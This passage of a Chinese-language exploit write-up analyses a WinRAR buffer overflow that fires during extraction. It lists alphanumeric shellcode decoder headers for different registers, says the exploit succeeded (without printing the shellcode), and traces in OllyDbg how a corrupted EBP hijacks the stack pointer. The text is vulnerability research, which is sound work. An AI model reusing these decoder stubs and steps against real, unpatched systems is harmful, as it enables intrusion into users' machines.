{ "edx", "JJJJJJJJJJJJJJJJJ7RY" mixedcase_ascii_decoder_body },
{ "ebx", "SYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "esp", "TYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "ebp", "UYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "esi", "VYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "edi", "WYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp-10]", "LLLLLLLLLLLLLLLLYIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp-C]", "LLLLLLLLLLLLYIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp-8]", "LLLLLLLLYIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp-4]", "LLLL7YIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp]", "YIIIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
字串7
{ "[esp+4]", "YYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp+8]", "YYYIIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp+C]", "YYYYIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp+10]", "YYYYYIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp+14]", "YYYYYYIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp+18]", "YYYYYYYIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp+1C]", "YYYYYYYYIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "seh", mixedcase_w32sehgetpc "IIIIIIIIIIIIIIIII7QZ" // ecx code 字串4
这是解码头,根据溢出的时候哪个寄存器指向Shellcode进行选用,生成Shellcode主体的函数配套代码alphashellcode里面有。我们这应该选择TYIIIIIIIIIIIIIIII7QZ这个解码头,Shellcode怪长的我就不贴了,以免有骗稿费之嫌。再次测试,成功。
字串7
疑云重重
字串2
虽然利用是成功了,不过不知道大家有没有发现一些比较奇怪的问题:1.如果是栈溢出,为什么溢出点却在超长字符串的前面,而不是在中间或者后面,不会它的缓冲区只有1个字节吧? 2.为什么打开的时候不触发漏洞只有解压的时候才触发? 3.为什么gyzy说这不是严格意义上的栈溢出?带着这一连串的问题,任何言语的猜测都是苍白的,还是让OD去解开我们的疑团。这里顺便发一下牢骚,OD对多线程的处理真是不咋的,经常会莫名其妙的出现假死的现象,先加载WinRAR.exe让OD跑起来,记得先把跳转地址改掉,以免出现没有断下来的尴尬局面,另外还要记得校正CRC值,不然它会郑重的警告你一下,哈哈,祈祷你的机器没有假死吧。
我发现原版的OD好像稳定性好一点,所以我用的是原版的,这个时候EIP已经被覆盖了,我在堆栈窗口里往上下都翻了翻,没有翻到正常的返回地址,奇怪了,不可能所有的返回地址都覆盖吧?太狠了,居然一点线索都不给留下,按照常规堆栈回溯下很容易找到出问题的代码,看来事情越发的扑朔迷离了。 Ctrl+F2重新来,F9让他跑起来,然后bp CreateThread,在这上面下断,因为很明显解压文件的时候需要新开线程,会发现0049CDFC这个地址是新开线程的起始地址,然后一部部往下跟(省略N多步骤,要是都写出来有点感觉自己像是写长篇小说了),跟进到这个地方: 字串4
0045BD63 |. E8 7466FBFF |CALL WinRAR.004123DC
0045BD68 |. 84C0 |TEST AL,AL
0045BD6A |. 74 04 |JE SHORT WinRAR.0045BD70
0045BD6C |. B0 01 |MOV AL,1
0045BD6E |. EB 0F |JMP SHORT WinRAR.0045BD7F
0045BD70 |> 43 |INC EBX
0045BD71 |> 3B9F 04040000 CMP EBX,DWORD PTR DS:[EDI+404]
0045BD77 |.^0F8C 41FFFFFF \JL WinRAR.0045BCBE
0045BD7D |. 33C0 XOR EAX,EAX
0045BD7F |> 5F POP EDI
0045BD80 |. 5E POP ESI
0045BD81 |. 5B POP EBX
0045BD82 |. 8BE5 MOV ESP,EBP
0045BD84 |. 5D POP EBP
0045BD85 \. C2 0800 RETN 8
返回的时候EIP被覆盖了,RETN 8指令说明在返回地址后面要有8个字节的保留空间,再跟Shellcode,我们在0045BD80下断。
霍然开朗
但这时的ESP却还是01DCF80C,怎么后来就跳到了017D6578了呢,答案就在下面0045B082的 MOV ESP,EBP而EBP恰恰是017D6578,这就解释了刚才的种种疑问,为什么异常发生的时候栈里回溯不到调用信息,为什么溢出点会出现在字符串的前几个字节了。答案就是EBP的值被污染了。重复上面的若干步骤,在01DCF8E8上下写入硬断,里面保存着被覆盖前的的EBP,下面这段代码覆盖了栈里的正确EBP值:
字串6
00494AD8 |. 57 PUSH EDI
00494AD9 |. 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]
00494ADC |. 8BC7 MOV EAX,EDI
00494ADE |. 8B75 0C MOV ESI,DWORD PTR SS:[EBP+C]
00494AE1 |. 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10]
00494AE4 |. 8BD1 MOV EDX,ECX
00494AE6 |. D1E9 SHR ECX,1
00494AE8 |. D1E9 SHR ECX,1
00494AEA |. FC CLD ecx 203
00494AEB |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
00494AED |. 8BCA MOV ECX,EDX
00494AEF |. 83E1 03 AND ECX,3 2
00494AF2 |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00494AF4 |. 5F POP EDI
字串4
省略N多步骤,最后发现是00412562这里的指令将EBP值污染了,然后返回到0045BD82的时候间接覆盖了ESP。

